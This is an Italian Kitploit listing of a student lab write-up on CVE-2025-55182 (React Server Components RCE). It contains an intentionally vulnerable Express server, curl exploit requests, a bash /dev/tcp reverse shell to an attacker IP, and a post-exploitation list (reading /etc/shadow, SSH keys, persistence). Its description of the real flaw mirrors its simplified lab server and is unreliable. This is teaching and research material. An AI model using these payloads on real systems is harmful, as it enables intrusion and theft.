Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

Ricerca sulla sicurezza e analisi dello sfruttamento di CVE-2025-55182 (React) — mappatura CVSS e OWASP Top 10

Vedi Repository
25 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 — Analisi RCE dei React Server Components

Analisi di vulnerabilità di applicazioni web · M2 Cybersecurity · 2025 Autore: Niane Mohamed · LinkedIn

Catena di sfruttamento end-to-end di una vulnerabilità di deserializzazione non sicura critica (CVSS 10.0) in React Server Components, dalla ricognizione all'esecuzione remota di codice non autenticata, con una roadmap completa di rimedio.


⚠️ Disclaimer Etico

Questa ricerca ha come obiettivo un'applicazione lab deliberatamente vulnerabile creata per dimostrare la CVE. Tutti i test sono stati eseguiti in una rete virtuale isolata senza alcuna connessione a sistemi di produzione, dati utente reali o servizi di terze parti.

  • NON eseguire queste tecniche contro sistemi che non possiedi o per i quali non disponi di un'autorizzazione scritta esplicita al test.
  • NON distribuire l'applicazione vulnerabile su alcuna rete raggiungibile da Internet.
  • Si applicano i principi della divulgazione responsabile — segnala sempre i risultati tramite canali coordinati.

Indice

  1. Riepilogo della vulnerabilità
  2. Versioni interessate
  3. Ambiente di laboratorio
  4. Procedura di sfruttamento
  5. Valutazione dell'impatto
  6. Rimedio
  7. Competenze dimostrate

Riepilogo della vulnerabilità

CampoValore
CVECVE-2025-55182
ClasseDeserializzazione non sicura → Esecuzione remota di codice
CVSS v3.110.0 (Critica) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Autenticazione richiestaNessuna
Interazione utente richiestaNessuna
Vettore di attaccoRete (remoto)
ComponenteRuntime React Server Components (RSC)

Come funziona la vulnerabilità

React Server Components ha introdotto un nuovo formato di serializzazione per trasmettere in streaming i componenti renderizzati lato server al client. Nelle versioni vulnerabili, l'endpoint RSC accetta un payload JSON con un campo cmd che viene passato senza sanitizzazione a child_process.exec() come parte della valutazione del rendering lato server.

Un attaccante può inviare una richiesta POST appositamente costruita che:

  1. Viene accettata come payload RSC legittimo (nessuna autenticazione, nessun CSRF)
  2. Attiva l'esecuzione di codice lato server durante il "render"
  3. Viene eseguita con i privilegi del processo Node.js (spesso root nei container)

Versioni interessate

ComponenteIntervallo vulnerabileCorretto in
react19.0.0 → 19.2.019.3.0+
react-server-dom-webpack19.0.0 → 19.2.019.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+

Ambiente di laboratorio

RuoloSistema operativoStrumenti
AttaccanteKali Linux (ultima versione)nmap, curl, netcat, OWASP ZAP, Firefox
TargetUbuntu 22.04.4Node.js 18, Express, React 19.0 RSC
ReteVMware VMnet Host-OnlyNessun traffico in uscita verso Internet

Applicazione target

Un server minimale Express + RSC che espone un endpoint /rsc il quale esegue in modo non sicuro i comandi dal payload in ingresso — riproducendo in modo controllato il pattern di vulnerabilità della CVE reale:

// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // VULNERABLE: executes attacker-controlled string
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

Procedura di sfruttamento

Fase 1 — Ricognizione

# Port discovery
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC server)

# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

L'header X-Powered-By: Express e l'insolita porta 3000 forniscono una forte impronta che si tratti di un'applicazione Node.js — coerente con le implementazioni RSC.

Fase 2 — Conferma tramite comando innocuo

Prima di tentare qualsiasi cosa distruttiva, valida la vulnerabilità con un comando innocuo:

curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ Confermato: RCE non autenticata come root. Il server viene eseguito con privilegi senza restrizioni.

Fase 3 — Reverse shell

Passa dall'esecuzione di un singolo comando a una shell interattiva completa:

# Listener on attacker machine
nc -lvnp 4444

# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

Il listener riceve:

connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

Fase 4 — Potenziale post-sfruttamento (dimostrato, non eseguito)

Con root sul target, un attaccante potrebbe banalmente:

  • Leggere /etc/shadow, chiavi SSH, segreti dell'applicazione, file .env
  • Installare persistenza (cron job, servizi systemd, impianto di chiavi SSH)
  • Spostarsi lateralmente tramite le credenziali scoperte
  • Distribuire cryptominer o ransomware
  • Modificare l'applicazione Node.js per catturare silenziosamente i dati degli utenti

Valutazione dell'impatto

Impatto aziendale (scenario target fittizio)

AsseImpattoSpiegazione
RiservatezzaCriticoAccesso completo in lettura a tutti i dati del server
IntegritàCriticoCapacità di modificare il codice dell'applicazione e i dati degli utenti
DisponibilitàAltoL'attaccante può terminare il servizio o tenerlo in ostaggio
NormativoGraveViolazione GDPR/DSGVO con obbligo di notifica entro 72 ore · possibile multa pari al 4% del fatturato globale
ReputazionaleGraveUna violazione pubblica associata alla CVE danneggia la fiducia dei clienti
FinanziarioAltoRisposta agli incidenti, sanzioni normative, potenziale azione collettiva

Profilo del threat actor

La bassa complessità di questo attacco — nessuna autenticazione, nessuna interazione utente, una singola richiesta HTTP — lo rende attraente per:

  • Scanner opportunistici (botnet che scansionano automaticamente la CVE)
  • Broker di accesso iniziale che vendono punti d'ingresso a gruppi ransomware
  • Attori statali che prendono di mira organizzazioni che utilizzano il server-rendering di React

Rimedio

Immediato (entro 24 ore)

  1. Aggiorna React a 19.3.0+ — versione corretta

    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. Regola WAF temporanea (se l'aggiornamento è ritardato):

    Block POST requests to /rsc with JSON body containing "cmd" field
    
  3. Risposta agli incidenti di emergenza:

    • Esaminare i log di accesso del server degli ultimi 90 giorni
    • Cercare traffico POST /rsc insolito
    • Ruotare tutti i segreti accessibili dal server
    • Acquisire un'istantanea del sistema interessato per la forensica prima del rimedio

Breve termine (entro 2 settimane)

Scarica lo strumento